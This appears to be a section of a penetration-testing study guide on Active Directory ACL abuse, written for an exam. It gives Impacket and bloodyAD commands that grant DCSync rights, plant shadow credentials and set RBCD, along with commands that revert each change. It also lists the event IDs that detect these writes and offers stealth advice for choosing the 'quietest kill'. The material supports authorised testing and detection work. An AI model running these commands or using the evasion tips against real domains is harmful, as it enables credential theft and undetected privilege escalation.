# snapshot a target's SD (Impacket) — writes a .bak you can restore byte-for-byte
dacledit.py -action backup -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
dacledit.py -action restore -file dacledit-*.bak -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
# PowerShell snapshot (export the SDDL string)
(Get-DomainObjectAcl -Identity victim | ConvertTo-Json) | Out-File sd_backup.json
(Get-ADObject victim -Properties nTSecurityDescriptor).nTSecurityDescriptor.Sddl | Out-File sd_backup.txt

Revert table — every attack has an undo:

Abuse performedRevert command(s)
Owner changedbloodyAD set owner victim <original> / owneredit.py -action write -new-owner <original>
GenericAll/DCSync grantedbloodyAD remove genericAll victim "$U" · remove dcsync "$U" · or dacledit.py -action restore
Shadow Credentials addedbloodyAD remove shadowCredentials victim / pywhisker.py --action remove --device-id <id> / Whisker.exe remove
SPN planted (roast)bloodyAD set object victim servicePrincipalName (clear) / StandIn --remove spn
UAC flag flippedbloodyAD remove uac victim -f <FLAG>
scriptPath setbloodyAD set object victim scriptPath (clear)
Group membership addedbloodyAD remove groupMember <group> "$U" / net group … /del /domain
RBCD setbloodyAD remove rbcd 'TARGET$' 'ATTACKER$' / rbcd.py -action flush + delete ATTACKER$
Password resetCannot undo cryptographically — reset to an agreed value with the client; prefer shadow creds to avoid this entirely

Event IDs to expect (DC security log):

Event IDFires onWhich abuse
4662Object access (replication GUIDs, attribute reads/writes)DCSync, LAPS/gMSA reads (if SACL set)
5136Directory object modifiedDACL/owner changes, SPN/UAC/scriptPath/KeyCredential writes
5137Directory object createdaddcomputer.py / bloodyAD add computer
4670Permissions changedOwner/DACL edits (if audited)
4724Password reset by admin/rightForceChangePassword abuse
4728 / 4732 / 4756Member added to global / local / universal groupAddMember abuse (DA = 4728)
4738User account changedUAC flips, password sets
4768 / 4769TGT / TGS requestsShadow-cred PKINIT, S4U chains, roast requests
1644Expensive LDAP searchNoisy Find-InterestingDomainAcl-style sweeps

[!warning] Reads quiet, writes loud — pick accordingly LAPS/gMSA reads and most get object/find enumeration touch nothing durable and rarely trip SACLs. Every write above (5136/5137) is the detection surface. If two paths reach the same objective — e.g. GenericAll on a user — prefer shadow creds (one attribute write, reversible) over password reset (4724 + broken logon). Use -s (LDAPS) for bloodyAD writes so the change isn’t on the wire in cleartext.

[!tip] CPTS exam tips

  • Re-enumerate after every group add — inherited rights (e.g. Service Accounts → GenericWrite over svc accounts) only appear on the next graph refresh; bloodyAD’s per-call auth picks them up live.
  • RBCD is the exam’s favourite GenericAll-on-computer finish; if MAQ is 0, shadow-cred the machine account instead (no new object needed).
  • Targeted Kerberoast needs no ADCS — when there’s no CA in scope, it’s your GenericWrite answer.
  • If a “writable” edge fails with insufficient access, check you’re hitting the right DC (use --host "$DC" FQDN) and that the edge isn’t stale — re-read with --resolve-sd.
  • Cross-links: Stage 05 — Kerberos Attacks (roast/AS-REP fundamentals) · Stage 07 — ADCS (shadow creds tail, ESC paths) · Stage 08 — Password Attacks (cracking the roasted hashes) · Stage 10 — Lateral Movement (spending DCSync output) · Stage — Domain Trusts (SIDHistory/foreign ACE edges).

🧭 Decision flow — edge in hand, what’s the quietest kill?

Quietest kill decisionTD
Writable edge found Target type? PKINIT / ADCS present? MAQ > 0? AddMember → inherit rightsre-enumerate WriteDacl → grant DCSyncsecretsdump → remove Shadow Credentialsno password touch Targeted Kerberoastplant SPN, roast, remove RBCD → S4U → local admin Shadow creds on MACHINE$ Revert every writeper OPSEC table User Computer Group Domain root Yes No Yes No

🎯 MITRE ATT&CK mapping

TechniqueIDWhere used here
Account ManipulationT1098Group adds, UAC flips, SPN plants
— Additional Cloud/Domain CredentialsT1098.001Shadow Credentials (KeyCredentialLink)
Abuse Elevation Control MechanismT1548RBCD / delegation abuse (S4U)
DCSyncT1003.006DS-Replication rights abuse, secretsdump
KerberoastingT1558.003Targeted Kerberoast via GenericWrite
AS-REP RoastingT1558.004DONT_REQ_PREAUTH flip
Steal or Forge Kerberos TicketsT1558S4U2Self/Proxy ticket requests
Exploitation for Credential AccessT1212Password reset via ForceChangePassword
OS Credential DumpingT1003LAPS/gMSA reads, post-DCSync
Account Discovery / Permission GroupsT1087 / T1069ACL enumeration (PowerView, BloodHound)
Modify Authentication Process (AdminSDHolder)T1556AdminSDHolder backdoor persistence

[!failure] Common pitfalls (burned boxes teach these)

  • Forgot -s/LDAPS → write visible on the wire; some DCs now require LDAPS for attribute writes (LDAP signing/channel binding enforcement).
  • Shadow creds against the IP, not FQDN → PKINIT fails; always --host "$DC".
  • Cleaned the SPN before the TGS arrived → roast hash worthless. Request first, remove second.
  • Added self to a group, then reused an old TGT → new rights not in the PAC. Purge and re-request.
  • WriteOwner on an adminCount=1 object → SDProp reverts your DACL grant in ≤60 min; move fast or go AdminSDHolder.
  • Left ATTACKER$ behind → 4741/5137 + an obvious machine account; delete it.
  • Trusted the graph blindly → edge was stale; always --resolve-sd before the write.

[!navigation] Continue the attack flow Previous: Stage 05 — Kerberos Attacks

Dashboard: HTB Pentest Attack Flow

Next: Stage 07 — ADCS and Certificate Abuse